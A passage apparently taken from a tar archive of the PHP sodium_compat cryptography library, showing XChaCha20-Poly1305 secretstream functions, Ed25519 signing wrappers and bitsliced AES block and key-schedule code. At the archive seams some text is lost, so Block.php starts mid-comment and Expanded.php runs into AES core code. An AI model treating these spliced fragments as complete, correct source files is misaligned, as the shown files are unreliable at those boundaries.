decrypt the rest. $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk); } } sodium_compat/src/Core/AES/Block.php000064400000024342147177035010013253 0ustar00 */ protected $values = array(); /** * @var int */ protected $size; /** * @param int $size */ public function __construct($size = 8) { parent::__construct($size); $this->size = $size; $this->values = array_fill(0, $size, 0); } /** * @return self */ public static function init() { return new self(8); } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * * @psalm-suppress MethodSignatureMismatch */ #[ReturnTypeWillChange] public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_AES_Block(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->values[] = $value; } else { $this->values[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * * @psalm-suppress MethodSignatureMismatch * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->values[$offset])) { $this->values[$offset] = 0; } return (int) ($this->values[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { $out = array(); foreach ($this->values as $v) { $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT); } return array(implode(', ', $out)); /* return array(implode(', ', $this->values)); */ } /** * @param int $cl low bit mask * @param int $ch high bit mask * @param int $s shift * @param int $x index 1 * @param int $y index 2 * @return self */ public function swapN($cl, $ch, $s, $x, $y) { static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX; $a = $this->values[$x] & $u32mask; $b = $this->values[$y] & $u32mask; // (x) = (a & cl) | ((b & cl) << (s)); $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask); // (y) = ((a & ch) >> (s)) | (b & ch); $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch); return $this; } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap2($x, $y) { return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap4($x, $y) { return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y); } /** * @param int $x index 1 * @param int $y index 2 * @return self */ public function swap8($x, $y) { return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y); } /** * @return self */ public function orthogonalize() { return $this ->swap2(0, 1) ->swap2(2, 3) ->swap2(4, 5) ->swap2(6, 7) ->swap4(0, 2) ->swap4(1, 3) ->swap4(4, 6) ->swap4(5, 7) ->swap8(0, 4) ->swap8(1, 5) ->swap8(2, 6) ->swap8(3, 7); } /** * @return self */ public function shiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[$i] = ( ($x & 0x000000FF) | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6) | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4) | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2) ) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $this; } /** * @param int $x * @return int */ public static function rotr16($x) { return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16); } /** * @return self */ public function mixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0); $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1); $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2); $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3); $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4); $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5); $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6); $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7); return $this; } /** * @return self */ public function inverseMixColumns() { $q0 = $this->values[0]; $q1 = $this->values[1]; $q2 = $this->values[2]; $q3 = $this->values[3]; $q4 = $this->values[4]; $q5 = $this->values[5]; $q6 = $this->values[6]; $q7 = $this->values[7]; $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX; $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5); $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6); $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7); $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7); $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6); $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7); $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7); $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7); return $this; } /** * @return self */ public function inverseShiftRows() { for ($i = 0; $i < 8; ++$i) { $x = $this->values[$i]; $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & ( ($x & 0x000000FF) | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6) | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4) | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2) ); } return $this; } } sodium_compat/src/Core/AES/KeySchedule.php000064400000003531147177035010014423 0ustar00 $skey -- has size 120 */ protected $skey; /** @var bool $expanded */ protected $expanded = false; /** @var int $numRounds */ private $numRounds; /** * @param array $skey * @param int $numRounds */ public function __construct(array $skey, $numRounds = 10) { $this->skey = $skey; $this->numRounds = $numRounds; } /** * Get a value at an arbitrary index. Mostly used for unit testing. * * @param int $i * @return int */ public function get($i) { return $this->skey[$i]; } /** * @return int */ public function getNumRounds() { return $this->numRounds; } /** * @param int $offset * @return ParagonIE_Sodium_Core_AES_Block */ public function getRoundKey($offset) { return ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($this->skey, $offset, 8) ); } /** * Return an expanded key schedule * * @return ParagonIE_Sodium_Core_AES_Expanded */ public function expand() { $exp = new ParagonIE_Sodium_Core_AES_Expanded( array_fill(0, 120, 0), $this->numRounds ); $n = ($exp->numRounds + 1) << 2; for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) { $x = $y = $this->skey[$u]; $x &= 0x55555555; $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; $y &= 0xAAAAAAAA; $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX; } return $exp; } } sodium_compat/src/Core/AES/Expanded.php000064400000000460147177035010013744 0ustar00orthogonalize(); self::sbox($q); $q->orthogonalize(); return $q[0] & self::U32_MAX; } /** * Calculate the key schedule from a given random key * * @param string $key * @return ParagonIE_Sodium_Core_AES_KeySchedule * @throws SodiumException */ public static function keySchedule($key) { $key_len = self::strlen($key); switch ($key_len) { case 16: $num_rounds = 10; break; case 24: $num_rounds = 12; break; case 32: $num_rounds = 14; break; default: throw new SodiumException('Invalid key length: ' . $key_len); } $skey = array(); $comp_skey = array(); $nk = $key_len >> 2; $nkf = ($num_rounds + 1) << 2; $tmp = 0; for ($i = 0; $i < $nk; ++$i) { $tmp = self::load_4(self::substr($key, $i << 2, 4)); $skey[($i << 1)] = $tmp; $skey[($i << 1) + 1] = $tmp; } for ($i = $nk, $j = 0, $k = 0; $i < $nkf; ++$i) { if ($j === 0) { $tmp = (($tmp & 0xff) << 24) | ($tmp >> 8); $tmp = (self::subWord($tmp) ^ self::$Rcon[$k]) & self::U32_MAX; } elseif ($nk > 6 && $j === 4) { $tmp = self::subWord($tmp); } $tmp ^= $skey[($i - $nk) << 1]; $skey[($i << 1)] = $tmp & self::U32_MAX; $skey[($i << 1) + 1] = $tmp & self::U32_MAX; if (++$j === $nk) { /** @psalm-suppress LoopInvalidation */ $j = 0; ++$k; } } for ($i = 0; $i < $nkf; $i += 4) { $q = ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($skey, $i << 1, 8) ); $q->orthogonalize(); // We have to overwrite $skey since we're not using C pointers like BearSSL did for ($j = 0; $j < 8; ++$j) { $skey[($i << 1) + $j] = $q[$j]; } } for ($i = 0, $j = 0; $i < $nkf; ++$i, $j += 2) { $comp_skey[$i] = ($skey[$j] & 0x55555555) | ($skey[$j + 1] & 0xAAAAAAAA); } return new ParagonIE_Sodium_Core_AES_KeySchedule($comp_skey, $num_rounds); } /** * Mutates $q * * @param ParagonIE_Sodium_Core_AES_KeySchedule $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @param int $offset * @return void */ public static function addRoundKey( ParagonIE_Sodium_Core_AES_Block $q, ParagonIE_Sodium_Core_AES_KeySchedule $skey, $offset = 0 ) { $block = $skey->getRoundKey($offset); for ($j = 0; $j < 8; ++$j) { $q[$j] = ($q[$j] ^ $block[$j]) & ParagonIE_Sodium_Core_Util::U32_MAX; } } /** * This mainly exists for testing, as we need the round key features for AEGIS. * * @param string $message * @param string $key * @return string * @throws SodiumException */ public static function decryptBlockECB($message, $key) { if (self::strlen($message) !== 16) { throw new SodiumException('decryptBlockECB() expects a 16 byte message'); } $skey = self::keySchedule($key)->expand(); $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($message, 0, 4)); $q[2] = self::load_4(self::substr($message, 4, 4)); $q[4] = self::load_4(self::substr($message, 8, 4)); $q[6] = self::load_4(self::substr($message, 12, 4)); $q->orthogonalize(); self::bitsliceDecryptBlock($skey, $q); $q->orthogonalize(); return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * This mainly exists for testing, as we need the round key features for AEGIS. * * @param string $message * @param string $key * @return string * @throws SodiumException */ public static function encryptBlockECB($message, $key) { if (self::strlen($message) !== 16) { throw new SodiumException('encryptBlockECB() expects a 16 byte message'); } $comp_skey = self::keySchedule($key); $skey = $comp_skey->expand(); $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($message, 0, 4)); $q[2] = self::load_4(self::substr($message, 4, 4)); $q[4] = self::load_4(self::substr($message, 8, 4)); $q[6] = self::load_4(self::substr($message, 12, 4)); $q->orthogonalize(); self::bitsliceEncryptBlock($skey, $q); $q->orthogonalize(); return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * Mutates $q * * @param ParagonIE_Sodium_Core_AES_Expanded $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @return void */ public static function bitsliceEncryptBlock( ParagonIE_Sodium_Core_AES_Expanded $skey, ParagonIE_Sodium_Core_AES_Block $q ) { self::addRoundKey($q, $skey); for ($u = 1; $u < $skey->getNumRounds(); ++$u) { self::sbox($q); $q->shiftRows(); $q->mixColumns(); self::addRoundKey($q, $skey, ($u << 3)); } self::sbox($q); $q->shiftRows(); self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3)); } /** * @param string $x * @param string $y * @return string */ public static function aesRound($x, $y) { $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($x, 0, 4)); $q[2] = self::load_4(self::substr($x, 4, 4)); $q[4] = self::load_4(self::substr($x, 8, 4)); $q[6] = self::load_4(self::substr($x, 12, 4)); $rk = ParagonIE_Sodium_Core_AES_Block::init(); $rk[0] = $rk[1] = self::load_4(self::substr($y, 0, 4)); $rk[2] = $rk[3] = self::load_4(self::substr($y, 4, 4)); $rk[4] = $rk[5] = self::load_4(self::substr($y, 8, 4)); $rk[6] = $rk[7] = self::load_4(self::substr($y, 12, 4)); $q->orthogonalize(); self::sbox($q); $q->shiftRows(); $q->mixColumns(); $q->orthogonalize(); // add round key without key schedule: for ($i = 0; $i < 8; ++$i) { $q[$i] ^= $rk[$i]; } return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * Process two AES blocks in one shot. * * @param string $b0 First AES block * @param string $rk0 First round key * @param string $b1 Second AES block * @param string $rk1 Second round key * @return string[] */ public static function doubleRound($b0, $rk0, $b1, $rk1) { $q = ParagonIE_Sodium_Core_AES_Block::init(); // First block $q[0] = self::load_4(self::substr($b0, 0, 4)); $q[2] = self::load_4(self::substr($b0, 4, 4)); $q[4] = self::load_4(self::substr($b0, 8, 4)); $q[6] = self::load_4(self::substr($b0, 12, 4)); // Second block $q[1] = self::load_4(self::substr($b1, 0, 4)); $q[3] = self::load_4(self::substr($b1, 4, 4)); $q[5] = self::load_4(self::substr($b1, 8, 4)); $q[7] = self::load_4(self::substr($b1, 12, 4));; $rk = ParagonIE_Sodium_Core_AES_Block::init(); // First round key $rk[0] = self::load_4(self::substr($rk0, 0, 4)); $rk[2] = self::load_4(self::substr($rk0, 4, 4)); $rk[4] = 